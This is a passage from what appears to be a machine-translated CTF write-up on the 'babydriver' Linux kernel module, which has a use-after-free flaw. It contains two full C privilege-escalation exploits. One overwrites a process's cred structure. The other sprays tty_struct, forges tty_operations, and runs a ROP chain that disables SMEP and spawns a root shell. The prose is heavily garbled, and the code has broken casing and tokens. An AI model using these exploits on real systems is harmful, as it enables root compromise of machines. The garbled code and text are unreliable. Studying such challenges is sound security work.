Objective
It seems to be a question of the national game. One linux of the kernel topics. The vulnerability is relatively simple and can be used as a primer.
Topic Link: here
Body
The topic gave 3 documents
The allocation is the root file system, kernel mirroring, and startup scripts. Unzip the operation boot.sh can be. vmwareyou need to turn on an option.
Use lsmod can find the loaded kernel module, and its load address.
Multiple boot discovery, no change of address, no open kaslr , boot.sh view qemu startup options from
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append ‘console=ttyS0 root=/dev/ram oops=panic panic=1‘ -enable-kvm -monitor /dev/null -m 64M --nographic
Discovery turned on smep .
Then unzip rootfs.cpio , take out the kernel module file, with ida analysis.
Use
Untie rootfs.cpis , you can use the find command search babydriver , the kernel module file is located lib/modules/4.4.72/babydriver.ko , and then put in the ida inside analysis.
openwhen the device is turned on, it allocates a piece of memory tobabydev_struct.device_buf
When the device is turned off, it will be kfree dropped directly babydev_struct.device_buf .
readand write very normal operation.
ioctlWe can let the driver reassign the memory of the size we want.
The vulnerability of the program babydev_struct is a global variable, so if we open two times the device, there will be two fd to manipulate the structure, and then release one, and the remaining one will point to a piece free of memory that has been lost UAF .
Because of the open smep , we cannot use ret2user the attack mode. Two methods of utilization are described below.
Modify Cred
-
The permissions of the process are determined uid , so we can ioctl allocate and cred structure the same size of memory blocks
-
Then trigger the vulnerability, free drop it, and then fork create the process so that the structure of the process cred uses the memory that was just free dropped.
-
And at this point we can use babydriver the write function to modify this memory.
-
We can modify the cred area represented in uid the struct as 0 , and it implements theroot
Exp
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include < string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include < pthread.h> #define Cred_size 168#define dev_name "/dev/babydev" char buf[100];int main () {int fd1, FD2, ret; Char zero_buf[100]; memset (zero_buf, 0, sizeof (char) * 100); FD1 = open (Dev_name, O_RDWR); FD2 = open (Dev_name, O_RDWR); First, the first open memory size is changed by the IOCTL so that it is the same size as the CRED structure RET = IOCTL (FD1, 0x10001, cred_size); Release for the first time Open, releasing a cred structure of the same size of memory close (FD1); Fork a new process to create a cred structure, the CRED structure will use the memory just released, that is, UAF memory space int now_uid = 1000; The current UID is the + int pid = fork (); if (PID < 0) {perror ("fork Error"); return 0; } if (!pid) {///write 28 0, until Egid and before it becomes 0, this time it will be considered root ret = write (FD2, Zero_buf, 28); Now_uid = Getuid (); if (!now_uid) {printf ("Get root done\n"); //permissions modified, start a shell, is the root shell of the system ("/bin/sh"); Exit (0); } else {puts ("failed?"); Exit (0); }} else {wait (NULL); } close (FD2); return 0;}
Using Tty_struct
smepJust can't execute the user-state code, we can still use the user-state data. We can do this by rop shutting down and smep then using ret2user the technology to make the right.
First we need to control rip , can be triggered uaf , after multiple allocations tty_struct to occupy the pit, and then use the write modified tty_operations pointer to our forged tty_operations structure can be controlled rip .
To do rop we need a manageable stack.
Used here
Because in the call tty_operations inside the function, the last step is call rax , so enter here rax as 0xffffffff81007808 This is a kernel memory address, but its low 32 bit, that eax 0x81007808 is, is a user-state address, we Can be obtained mmap , so the idea is, first through the mmap 0x81007808 layout rop_chain and then set tty_operations the inside of one of the function pointer to xchg esp,eax the address, and then call it, will enter rop .
xchg esp,eaxAfter that, we can find that rsp we have been hijacked into our controllable data area, and then we have to rop turn it off and semp then ret2user right.
Exp
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include < errno.h> #include <sys/stat.h> #include <sys/ioctl.h> #include <fcntl.h> #include <string.h > #include <pty.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/sem.h> #define Tty_struct_size 0x2e0#define spray_alloc_times 0x100int spray_fd[0x100];/*//Tty_struct into UAF space, 24th byte position with forged Tty_ Operations replacement, as shown in line 147, 148 tty_struct:int magic; 4struct Kref Kref; 4struct device *dev; 8struct Tty_driver *driver; 8const struct tty_operations *ops; 8, offset =4+4+8+8=24[...] */struct tty_operations {struct tty_struct * (*lookup) (struct tty_driver *driver, struct file *filp, int idx); Int (*install) (struct tty_driver *driver, struct tty_struct *tty); void (*remove) (struct tty_driver *driver, struct tty_struct *tty); Int (*open) (struct tty_struct * tty, struct file * Filp); void (*close) (struct tty_sTruct * TTY, struct file * Filp); void (*shutdown) (struct tty_struct *tty); void (*cleanup) (struct tty_struct *tty); Int (*write) (struct tty_struct * tty, const unsigned char *buf, int count); Int (*put_char) (struct tty_struct *tty, unsigned char ch); void (*flush_chars) (struct tty_struct *tty); Int (*write_room) (struct tty_struct *tty); Int (*chars_in_buffer) (struct tty_struct *tty); Int (*ioctl) (struct tty_struct *tty, unsigned int cmd, unsigned long arg); Long (*compat_ioctl) (struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios) (struct tty_struct *tty, struct ktermios * old); void (*throttle) (struct tty_struct * tty); void (*unthrottle) (struct tty_struct * tty); void (*stop) (struct tty_struct *tty); void (*start) (struct tty_struct *tty); void (*hangup) (struct tty_struct *tty); Int (*break_ctl) (struct tty_struct *tty, int state); void (*flush_buffer) (struct tty_struct *tty); void (*set_ldisc) (sTruct tty_struct *tty); void (*wait_until_sent) (struct tty_struct *tty, int timeout); void (*send_xchar) (struct tty_struct *tty, char ch); Int (*tiocmget) (struct tty_struct *tty); Int (*tiocmset) (struct tty_struct *tty, unsigned int set, unsigned int clear); Int (*resize) (struct tty_struct *tty, struct winsize *ws); Int (*set_termiox) (struct tty_struct *tty, struct termiox *tnew); Int (*get_icount) (struct tty_struct *tty, struct serial_icounter_struct *icount); const struct file_operations *proc_fops;}; typedef int __ATTRIBUTE__ ((Regparm (3))) (*_commit_creds) (unsigned long cred); typedef unsigned long __attribute__ (( Regparm (3))) (*_prepare_kernel_cred) (unsigned long cred);/* Gadgets */_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;unsigned Long NATIVE_WRITE_CR4 = 0xffffffff810635b0; Write CR4 to close smepunsigned long xchgeaxesp = 0xffffffff81007808; Set Stack unsignedLong Poprdiret = 0xffffffff813e7d6f;//unsigned long iretq = 0xffffffff8181a797;unsigned long iretq = 0xffffffff814e35ef;u nsigned long Swapgs = 0xffffffff81063694; Ready to go back to user space */status */unsigned long User_cs, USER_SS, User_rflags;void save_stats () {asm ("Movq%%cs,%0\n" MOV rcx, cs "Movq%%ss,%1\n"//MOV RDX, ss "pushfq\n"//Put Rflags value on stack "POPQ%2\n"/ /Pop Rax: "=r" (User_cs), "=r" (USER_SS), "=r" (user_rflags):: "Memory"//MOV user_cs, RCX; mov user_ss, RDX; mov user_flags, rax);} void Get_shell () {System ("/bin/sh");} void Get_root () {commit_creds (prepare_kernel_cred (0));} void Exploit () {int i; Char *buf = (char*) malloc (0x1000); struct Tty_operations *fake_tty_operations = (struct tty_operations *) malloc (sizeof (struct tty_operations)); Save_stats (); memset (fake_tty_operations, 0, sizeof (struct tty_operations)); Fake_tty_operations->ioctl = (unsigned long) xchgeaxesp; Set the IOCTL operation for the TTY as a stack transfer instruction int fd1 = open ("/dev/babydev", O_RDWR); int fd2 = open ("/dev/babydev", O_RDWR); IOCTL (FD1, 0x10001, tty_struct_size); Write (FD2, "Hello World", strlen ("Hello World")); Close (FD1); Spray TTY here the heap spray actually removed can also succeed, because is released immediately after the application of the puts ("[+] spraying buffer with tty_struct"); for (i = 0; i < spray_alloc_times; i++) {Spray_fd[i] = open ("/dev/ptmx", O_RDWR | O_noctty); if (Spray_fd[i] < 0) {perror ("open tty"); }}//There is now a tty_struct falling in the UAF area puts ("[+] Reading buffer content from kernel buffer"); Long size = Read (FD2, buf, 32); if (size < +) {puts ("[-] Reading not complete!"); printf ("[-] only%ld bytes read.\n", size); }//Check if the injection was successful puts ("[+] detecting buffer content type"); if (buf[0] = 0x01 | | buf[1]! = 0x54) {puts ("[-] Tty_struct spray failed"); printf ("[-] we should have 0x01 and 0x54, instead we got%02x%02x\n", buf[0], buf[1]); Puts ("[-] Exiting ..."); EXIT (-1); }//Set tty_operations for forged operation puts ("[+] Spray complete. modifying function pointer "); unsigned long *temp = (unsigned long *) &buf[24]; *temp = (unsigned long) fake_tty_operations; Puts ("[+] Preparing ROP chain"); unsigned long lower_address = Xchgeaxesp & 0xFFFFFFFF; unsigned long base = lower_address & ~0xfff; printf ("[+] base address is%lx\n", base); if (Mmap (base, 0x30000, 7, Map_private | Map_anonymous,-1, 0)! = Base) {perror ("mmap"); Exit (1); } unsigned long rop_chain[] = {Poprdiret, 0x6f0, NATIVE_WRITE_CR4,//CR4 = 0X6F0 (Unsigne D long) Get_root, Swapgs,//Swapgs; Pop RBP; RET base,//RBP = base iretq, (unsigned long) Get_shell, User_cs, User_rflags, Base + 0x10000, USER_SS}; memcpy (void*) lower_address, Rop_chain, sizeof (Rop_chain)); Puts ("[+] Writing function pointer to the driver"); Long len = Write (FD2, buf, 32); if (Len < 0) {perror ("write"); Exit (1); } puts ("[+] triggering"); for (i = 0;i < Spray_alloc_times; i++) {ioctl (Spray_fd[i], 0, 0);//Ffffffff814d8aed call Rax}}int main () {Exploit (); return 0;}
At last
The kernel state and the user state are in fact similar, mainly is the memory mechanism to know very much. xchg esp, eax mmap You can then control the stack data, which is a really powerful technique. The use of the gef kernel can not be adjusted, change pwndbg it.
Reference
http://pwn4.fun/2017/08/15/Linux-Kernel-UAF/
Http://bobao.360.cn/learning/detail/4148.html
LINUX_KERNEL_UAF Exploit Combat